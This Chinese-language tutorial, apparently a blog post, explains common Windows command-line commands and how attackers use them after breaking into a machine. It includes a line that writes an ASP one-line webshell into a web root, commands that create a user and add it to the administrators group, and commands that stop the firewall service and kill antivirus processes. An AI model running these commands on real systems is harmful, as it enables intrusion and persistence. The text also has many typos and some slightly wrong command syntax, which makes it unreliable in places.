前言
黑客在实施渗透的时候,很少会用到图形化操作界面,一般是用系统命令实现的。为了真实地剖析黑客的渗透行为,此次我们所讲的整个操作过程都将在命令行下完成,以便剖析出黑客生呕吐并控制远程计算机的踪迹。
学习系统命令不仅可以作为了解黑客用来实施渗透攻击的秘密,而且对维护操作系统的安全也有特别的意义。通常黑客在攻击过程中,一般会进行创建用户、上传黑客工具、开启远程桌面服务等操作,这些操作在图形化界面下就很难完成,利用系统命令实施对系统的控制是最佳途径。了解系统命令可以更深入地了解系统的底层,是安全高手必备知识。
1、打开命令提示符
打开DOS命令提示符有很多种方法,比较常用的就是依次单击“开始”——“运行”——“CMD”
另外,也可以建立一个批处理文件用于打开DOS命令提示符,值得注意的是,批处理文件所在的路径是打开cmd后的路径,通过这种方法省略了目录切换的麻烦,也非常实用:
2、目录转换命令
黑客入侵的过程中通常会在目标机上上传一些小工具,在DOS命令提示符下必须切换到要上传的小工具所处的目录,否则小工具运行会报错。目录切换主要用到cd和pushd命令,cd命令使用格式如下所示:
cd \ 切换到根目录
cd windows 切换到Windows目录
cd .. 返回上一级目录
D: 进入D盘根目录
用cd切换目录如下所示:
如果直接向进入某个指定的目录,可以使用pushd命令。如想直接进入c:\windows\system32目录,可以执行如下命令:
pushd c:\windows\system32
3、系统版本查看
针对不同的操作系统版本,黑客渗透的思路会有所差异。得到目标系统的详细版本也是非常重要的,查看系统版本可以使用ver命令。下面给出常见的系统版本对应的标号
Operating System | Version Number |
---|---|
Windows 1.0 | 1.04 |
Windows 2.0 | 2.11 |
Windows 3.0 | 3 |
Windows NT 3.1 | 3.10.528 |
Windows for Workgroups 3.11 | 3.11 |
Windows NT Workstation 3.5 | 3.5.807 |
Windows NT Workstation 3.51 | 3.51.1057 |
Windows 95 | 4.0.950 |
Windows NT Workstation 4.0 | 4.0.1381 |
Windows 98 | 4.1.1998 |
Windows 98 Second Edition | 4.1.2222 |
Windows Me | 4.90.3000 |
Windows 2000 Professional | 5.0.2195 |
Windows XP | 5.1.2600 |
Windows XP Professional x64 Edition | 5.2.3790 |
Windows Server 2003 | 5.2 |
Windows Server 2003 R2 | 5.2 |
Windows Vista | 6.0.6000 |
Windows Server 2008 | 6.0 |
Windows Server 2008 R2 | 6.1 |
Windows 7 | 6.1.760 |
例如想知道当前系统的版本,可以直接执行ver命令:
通过查看对应的标号,得知当前系统为Windows XP
4、文件操作命令
对于文件的操作也是渗透测试中非常重要的环节,通常会涉及文件夹,文件的创建、修改、删除、查看等。下面列出这类命令的使用格式:
md hack 创建名为hack的文件夹
rd hack 删除名为hack的文件夹
Echo ^<%execute request("1")%^> >>d:\wwwroot\hack.asp 向web目录写木马程序
type d:\wwwroot\hack.asp 查看一句话木马程序的内容
del d:\wwwroot\hack.asp 删除网站目录下的一句话木马
dir C:\ 查看C盘根目录下面的全部文件夹和文件信息
tree e:\ 显示e盘文件目录树
more c:\boot.ini 使用管道命令查看boot.ini文件信息
这样演示查看c盘的目录树:
查看boot.ini文件
这类命令在渗透测试中非常重要
5、查看和停掉系统服务
在提权过程中会反复查看胸膛呢服务的开启状态,利用服务名判断当前计算机运行了哪些应用软件,比如安装了什么杀毒软件、防火墙、数据库软件等,查看和停掉系统服务都要使用功能强大的net命令,其基本使用格式如下:
net start 查看所有系统服务
net stop xxservice 停掉某个系统服务
windows XP系统启动开始,系统都默认集合了ICF状态防火墙,这类防火墙有时候就会成为黑客们入侵的拦路虎,所以黑客必须将其关掉,关闭命令如下:
net stop sharedaccess
net命令功能强大,后面还会鸡血介绍他的其他用法
6、网络连接查看
使用网络连接命令可以查看到当前计算机开发的端口,常见的就是判断目标主机是否开启了21、43985、3389等端口,这些都是黑客在提权前要收集的信息。网络连接查看的命令式netstat,下面列出几种常见的渗透用法:
netstat -an 查看本地端口开发情况
netstat -anb 查看本地端口开放情况以及其可执行组件
netstat -ano 查看本地端口开发情况以及连接相关的进程ID号
现在查看本地端口开发情况以及连接相关的进程ID号
7、系统账户管理
系统账户管理命令是一个功能非常强大的命令,支持创建查看账户信息,添加账户,修改密码,激活账户,删除账户等。此命令是黑客渗透的经典命令,黑客每次入侵都会应用到。下面列出net命令在账户管理中的几种方法:
net user 查看系统所有用户,注意带$符号的账户无法查看
net user administrator 查看管理员账户信息,包括账户权限,登录时间等。
net user syue 123456/add创建一个名为syue的账户,密码是123456
net localgroup administrator syue /add 提升syue至管理员权限
net user syue /del 从系统中删除syue用户
net user guest 123456 将来宾账户密码改为123456
net localgroup administrator guest /add将来宾用户提升为管理员权限
net user guest /active:yes 激活guest账户
net user guest/active:no 停止guest账户
net localgroup 查看本地所有组信息
查看管理员账户信息
添加一个用户syue
提权为管理员:
8、网络命令ping
Ping是Windows系列自带的一个可执行命令。利用它可以检查网络是否能够连通,用好它可以很好地帮助我们分析判定网络故障。黑客渗透人员一般使用两种方法,用法如下:
ping 192.168.11.1 判断网络是否畅通,主要是根据返回的TTL值大致判断操作系统类型。
ping www.baidu.com 得到目标站点的IP地址
9、网络环境查看
在得到一定权限之后可以对目标主机所处的网络环境进行查看,搞清楚是内网还是外网,网关和DNS服务器的IP地址等。这些都是非常重要的,对于内网服务器可以使用端口转发技术连接目标主机的远程桌面或者其他端口。网络环境查看的命令:
ipconfig/all
当前网络环境如下图所示:
10、内网渗透命令net view
net view显示正由指定的计算机共享的域、计算机或资源的列表。如果在没有参数的情况下使用,则net view 显示当前域中计算机列表。这个命令在内网渗透过程中用的很多,它可以列出一些当前计算机的资源列表。可以查看到哪些共享计算机在线。
11、网络命令Telnet
Telnet是微软公司提供给系统管理员维护远程计算机使用的命令,Telnet所使用的通信端口是23.用这种方式远程登录计算机,在网络中数据的传输是明文的形式,也就是口令没有经过加密,因此很容易受到黑客的攻击。如果一个黑客在中间监听,你的密码就很轻松地被黑客所获得。所以它及其不安全,除非把它作加密传输。现在很多系统维护管理员都放弃使用Telnet了,一般都使用SSH远程登录,因为它是加密传输的,但是SSH也有不少的安全缺陷,但相较Telnet较为安全。在Windows VISTA系统中,都已经取消了这条命令,虽然使用得少,但是对黑客来说还是非常有用的,使用它可以手工探测目标主机的端口开发情况,这也是个技巧。在有些网络环境下不适合用大型扫描器,因为容易被管理员发现。
使用Telnet命令登录远程系统,命令格式如下:
Telnet IP地址
之后正确输入密码后即可成功登录,执行任意系统命令。
利用Telnet探测端口开发其实就是以Telnet方式去请求一个端口,如果该端口没有开放,返回信息显示“XXX端口无法打开”,如果能够连接则说明该端口开放,使用格式如下所示:
Telnet IP地址 Port
12、渗透命令中用户权限查看
判断当前用户权限在渗透提权中是非常重要的,如果当前用户是系统权限,那么黑客将很快攻陷这台主机。有的管理员对操作系统不熟悉,配置计算机管理权限不得方法,这就给黑客留下了可乘之机。查看当前用户权限主要使用命令whoami.另外,一般黑客拿到webshell后会查找第三方软件漏洞来提权,但是很多攻击者都忽略了系统本身的权限,这也是渗透的技巧。
13、渗透测试中路由跟踪
tracert这个命令检测你的计算机经过几个路由中转到目的地IP的命令,也就是实现路由跟踪。这个命令在嗅探渗透的使用用的最多,用它来判断本机和目标机是否处在同一交换机下,如果是就可以用来发起嗅探和APR攻击,截取敏感信息,比如嗅探FTP MSSQL MYSQL等密码口令,使用格式如下:
tracert IP地址
14、渗透测试中注册表操作
注册表里保存着大量的重要的系统和软件信息,有的软件直接把密码保存在注册表里,比如远程控制软件RADMIN和VNC密码也是保存在注册表里,如果黑客拿到一个WEBshell,首先查看服务器安装了哪些第三方软件,利用他们的漏洞就可以很容易的获得系统权限,下面是在渗透测试中注册表命令发挥的作用,包括注册表的导出与导入:
regedit -e D:\xxx\1.reg HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp1 导出远程桌面注册表
regedit -s D:\xxx\1.reg 导入修改后的注册表
15、渗透命令中查看和注销登录用户
由于管理员的错误习惯,在退出系统的时候没有注销当前用户,直接强行退出的。但是用户会话还在服务器中,并没有真正地退出。如果有人再想登录系统,系统则会提示终端登录人数超出范围等警告信息。这时可通过命令将指定用户强制注销掉,这样的工作需要两条命令配合来完成:
query user 查看当前登录的用户,主要获取指定账户的id号
logoff id号 注销指定账户
16、渗透命令中tasklist和taskkill
tasklist与taskkill命令开始在Windows xp系统中被引入,使用tasklist可以看到进程对应的系统服务名,在提权之中是非常重要的。而taskkill命令可以杀掉某个进程,这对于一些杀毒软件来说是非常有帮助的。
tasklist /svc 查看系统进程提供的服务
taskkill /pid pid号 /f 强制杀掉指定的进程
17、渗透命令中SC应用
利用SC命令可以获取对应服务的程序路径,这对于提权来说是非常有帮助的,省掉了在服务器上去找对应软件的安装路径了。SC命令通常配合net start 命令使用,首先用net start命令获取系统服务器名
如果想要获取计算机汇总某一个程序的安安装路径,可以执行以下命令
18、提权渗透中regsvr32命令
regsvr32是Windows系统中的一个DLL注册与反注册命令,这个命令与提权渗透密切相关,比如上传了WEBshell,无法执行命令,无法查看目录等,这是因为管理员利用regsvr 32命令卸载了一些关键对象以及组件。下面列出和提权紧密相关的组件:
regsvr32 WSHom.Ocx /u 卸载wscript.shell对象
regsvr32.exe scrrun.dll /u 卸载FSO对象
regsvr32 /s /u "C:\Program Files\Common Files\Systim\ado\msado15.dll"卸载stream对象
regsvr32.exe shell32.dll /u 禁止shell.Application组件
如果想要恢复这些对象和组件的话,去掉/u就行,/s是安静模式。
总结:黑客常用的一些命令就介绍到这里,其实不只这些,在正正的实践中将会接触到更多的命令。